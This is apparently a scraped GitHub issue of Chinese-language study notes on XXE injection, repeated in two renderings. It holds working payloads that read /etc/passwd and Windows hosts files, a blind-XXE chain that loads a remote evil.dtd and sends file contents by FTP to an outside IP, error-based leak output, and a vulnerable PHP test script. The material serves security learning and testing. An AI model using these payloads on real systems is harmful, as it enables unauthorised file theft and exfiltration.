We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
内部声明实体 <!ENTITY 实体名称 "实体的值"> 引用外部实体 <!ENTITY 实体名称 SYSTEM "URI"> 或者 <!ENTITY 实体名称 PUBLIC "public_ID" "URI">
<!ENTITY 实体名称 "实体的值">
<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd> ]> <root>&b;</root>
dtd
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % d SYSTEM "http://example.com/evil.dtd"> %d; ]> <root>&b;</root>
其中evil.dtd
evil.dtd
<!ENTITY b system "file:///etc/passwd">
<?xml version="1.0"?> <!DOCTYPE a SYSTEM "http://example.com/evil.dtd"> <root>&b;</root>
<!ENTITY b SYSTEM "file:///etc/passwd">
有无百分号%决定了是否引用外部的dtd文件,引用了外部实体,外部的实体可以在POST请求中调用,也可以在外部实体文件中调用,测试中在POST请求中可以实现调用。调用实体一般是%entity;
%
POST
%entity;
使用php测试,其中测试代码
<?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name; ?>
<!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://j7wepb.ceye.io/" >]> <root> <name>&xxe;</name> </root>
<!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>
在测试中,如果不存在回显的情况,首先需要使用确定是否存在远程实体解析,如果存在,那么可以将数据远程到设置的主机上显示
<?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % xxe SYSTEM "http://116.211.25.21:5000/evil.dtd"> %xxe; ]>
<!ENTITY % send SYSTEM "<!ENTITY  extfile SYSTEM 'ftp://116.211.25.21:2121/?p=%file;'>"> %send; %extfile;
在测试中,还有一种情况,可能测试成功不回显,但是在测试造成错误时,会把错误信息打印出来
<b>Warning</b>: simplexml_load_string(): Entity: line 1: parser error : Invalid URI: http://45.32.138.6:8000/?root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/ga
其中xml post
<?xml version="1.0" encoding="iso-8859-1"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>username</value></param> <param><value>password</value></param> </params> </methodCall>
可以形成的xxe <xml version="1.0"?>]>&xxe;
soap服务
上传XML配置文件等 有一则博客园上传案例
<?xml version="1.0" encoding="utf-8" standalone="yes"?> <!DOCTYPE note [ <!ENTITY test SYSTEM "file:///C://WINDOWS/SYSTEM32/DRIVERS/ETC/HOSTS"> ]]]> <rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"> <channel> <title>博客园-阔爱的贝贝</title> <link>http://www.cnblogs.com/kuoaidebb/</link> <description>一枚想当黑客的程序媛</description> <language>zh-cn</language> <lastBuildDate>Sun, 03 May 2015 11:19:00 GMT</lastBuildDate> <pubDate>Sun, 03 May 2015 11:19:00 GMT</pubDate> <ttl>60</ttl> <item> <title>test]]>&test;</title> <link>http://www.cnblogs.com/kuoaidebb/archive/2015/05/03/4474500.html</link> <dc:creator>阔爱的贝贝</dc:creator> <author>阔爱的贝贝</author> <pubDate>Sun, 03 May 2015 11:13:00 GMT</pubDate> <guid>http://www.cnblogs.com/kuoaidebb/archive/2015/05/03/4474500.html</guid> <description><![CDATA[<p>]]></p>]]></description> </item> </channel> </rss>
未知攻焉知防——XXE漏洞攻防--腾讯安全中心 XXE漏洞以及Blind XXE总结--Exploit的小站
The text was updated successfully, but these errors were encountered:
No branches or pull requests
XXE 漏洞
XML简单基础
XML规则
内部声明实体
<!ENTITY 实体名称 "实体的值">
引用外部实体
<!ENTITY 实体名称 SYSTEM "URI">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
引入外部实体方式
dtd
其中
evil.dtd
其中
evil.dtd
有无百分号
%
决定了是否引用外部的dtd
文件,引用了外部实体,外部的实体可以在POST
请求中调用,也可以在外部实体文件中调用,测试中在POST
请求中可以实现调用。调用实体一般是%entity;
实例测试
存在回显,且回显的规则已知
不存在回显,即XXE盲注(Blind XXE)
在测试中,如果不存在回显的情况,首先需要使用确定是否存在远程实体解析,如果存在,那么可以将数据远程到设置的主机上显示
其中
evil.dtd
在测试中,还有一种情况,可能测试成功不回显,但是在测试造成错误时,会把错误信息打印出来
XXE形成(涉及各种服务)
其中xml post
可以形成的xxe
<xml version="1.0"?>]>&xxe;
soap服务
上传XML配置文件等
有一则博客园上传案例
不同语言对应的使用的库存在XXE统计
参考文献
未知攻焉知防——XXE漏洞攻防--腾讯安全中心
XXE漏洞以及Blind XXE总结--Exploit的小站
The text was updated successfully, but these errors were encountered: